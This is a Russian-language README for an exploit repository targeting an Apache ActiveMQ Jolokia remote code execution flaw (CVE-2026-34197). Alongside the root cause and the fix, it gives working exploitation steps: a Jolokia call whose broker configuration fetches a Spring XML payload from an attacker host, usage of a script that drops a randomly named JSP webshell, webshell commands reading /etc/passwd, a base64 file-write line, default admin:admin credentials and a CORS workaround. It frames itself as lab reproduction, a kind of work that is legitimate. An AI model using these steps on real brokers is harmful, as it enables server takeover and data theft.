
Apache ActiveMQ RCE via Jolokia vulnerability analysis and reproduction notes
| Элемент | Детали |
|---|
| CVE ID | CVE-2026-34197 |
| CVSS | 8.8 (ВЫСОКИЙ) |
| Тип уязвимости | Удаленное выполнение кода (RCE) |
| CWE | CWE-20 Некорректная проверка входных данных / CWE-94 Инъекция кода |
| Пораженный компонент | Apache ActiveMQ Classic — мост JMX-HTTP Jolokia |
| Уязвимые версии | < 5.19.4 и 6.0.0 – 6.2.2 |
| Исправленные версии | 5.19.4 / 6.2.3 |
| Дата раскрытия | 2026-04-07 |
| Аутентификация | Требуется по умолчанию, обычно admin:admin. Версии 6.0.0–6.1.1 могут быть доступны без аутентификации при комбинировании с CVE-2024-32114. |
| Обнаружение | Сообщено как исследование с помощью ИИ от Anthropic Claude, после того как уязвимость присутствовала около 13 лет. |
Атакующий
|
|-- 1. POST /api/jolokia/
| Вызов BrokerService.addNetworkConnector(String)
| Аргумент: static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/shell.xml)
|
v
Брокер ActiveMQ
|
|-- 2. Разбор URI. Так как vm://evil не существует, ActiveMQ пытается создать брокер динамически.
| brokerConfig=xbean:http://ATTACKER:PORT/shell.xml
|
|-- 3. Протокол xbean: загружает удаленный Spring XML-файл через HTTP.
|
|-- 4. ResourceXmlApplicationContext разбирает XML и создаёт экземпляр бина ProcessBuilder.
| Метод init-method="start" выполняется до того, как проверка конфигурации заблокирует URI.
|
`-- 5. Достигнуто удаленное выполнение кода.
/api/jolokia/, предоставляя доступ к JMX через HTTP.org.apache.activemq:*, включая addNetworkConnector.brokerConfig транспорта vm:// может указывать на удаленный Spring XML, а создание бинов происходит до отклонения конфигурации.В ActiveMQ 6.2.3 добавлена проверка внутри addNetworkConnector(), отклоняющая URI транспорта vm://:
"error": "VM scheme is not allowed"
| Элемент | Детали |
|---|---|
| Хост атакующего | macOS с Docker OrbStack |
| Целевой образ | alfresco/alfresco-activemq:6.2.1-jre17-rockylinux8 (ActiveMQ 6.2.1) |
| Пользователь времени выполнения | amq (uid=33031) |
| Базовая ОС | Rocky Linux 8.9 |
cd upstream-poc
docker compose up -d
curl -u admin:admin -H "Origin: http://localhost:8161" \
http://localhost:8161/api/jolokia/
Ответ status: 200 подтверждает, что Jolokia доступна.
python3 exploit_webshell.py \
-t http://localhost:8161 \
--lhost <YOUR_IP> \
--lport 9999
Скрипт выполняет следующие действия:
NetworkConnector с именем NC, чтобы сделать повторное тестирование надёжным.addNetworkConnector, чтобы инициировать уязвимый путь выполнения.curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=cat+/etc/passwd"
===============================================================
CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
Target fetches one XML payload; JSP is written from inline base64
===============================================================
[*] Generated random webshell filename: ndkjwpqe.jsp
[*] Step 1/5: Checking Jolokia API...
[+] Jolokia accessible - status 200
[*] Step 2/5: Discovering broker name...
[!] Using default broker name: localhost
[*] Step 3/5: Cleaning up old NetworkConnector...
[*] Step 4/5: Trying webapps path: /opt/activemq/webapps/admin
[+] Payload server on :9999 (shell.xml with inline base64 webshell)
[+] Target fetched shell.xml from 192.168.3.107
[+] Jolokia returned 200 - exploit triggered
[*] Waiting for target to execute payload...
[+] Target fetched shell.xml from 192.168.3.107
[*] Step 5/5: Verifying webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<command>
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================
| Версия | Образ | Ответ Jolokia | RCE |
|---|---|---|---|
| 5.18.6 | apache/activemq-classic:5.18.6 | status: 200, value: NC | Успешно как uid=0(root) |
| 6.2.1 | alfresco/alfresco-activemq:6.2.1 | status: 200, value: NC | Успешно как uid=33031(amq) |
| 6.2.3 | alfresco/alfresco-activemq:6.2 | error: VM scheme is not allowed | Исправлено |
addNetworkConnector() регистрирует соединитель с именем NC. Вторая регистрация приводит к конфликту имён JMX и возвращает ошибку 500. Скрипт обрабатывает это, вызывая removeNetworkConnector("NC") перед запуском эксплойта.
ActiveMQ использует встроенный Jetty, но каталог webapps существует на диске, и JSP-движок компилирует только что записанные .jsp файлы. Это делает запись веб-шелла возможной в протестированном окружении.
Пэйлоад записывает JSP с помощью встроенного base64:
echo <BASE64_ENCODED_JSP> | base64 -d > /opt/activemq/webapps/admin/<random>.jsp
Преимущества:
<, >, % и ".Цель должна иметь возможность связаться с HTTP-сервером атакующего для загрузки Spring XML-пэйлоада. Если у цели нет исходящего маршрута к атакующему, этот путь эксплуатации не может быть завершён.
Прямые запросы к Jolokia могут возвращать 403 из-за проверок CORS. Включите заголовок Origin, соответствующий цели:
Origin: http://TARGET:8161
CVE-2026-34197/
|-- README.md # Этот отчёт
|-- exploit_webshell.py # Одноразовый записыватель веб-шелла с встроенным base64 и случайным именем JSP
`-- upstream-poc/ # Копия файлов из dinosn/CVE-2026-34197
|-- docker-compose.yml # Лабораторное окружение для ActiveMQ 6.2.1
|-- exploit_poc.py # Оригинальный PoC-скрипт с режимами serve/exploit/auto
`-- serve_payload.py # Простой HTTP-сервер для пэйлоада
| Скрипт | Назначение | Требование исходящего доступа | Веб-шелл |
|---|---|---|---|
exploit_poc.py | Оригинальный слепой PoC RCE, выполняющий произвольную команду | Требуется | Нет |
exploit_webshell.py | Одноразовое отражённое RCE через записанный JSP-веб-шелл | Требуется только для загрузки XML | Автоматически записывается со случайным именем |
jetty.xml.admin:admin.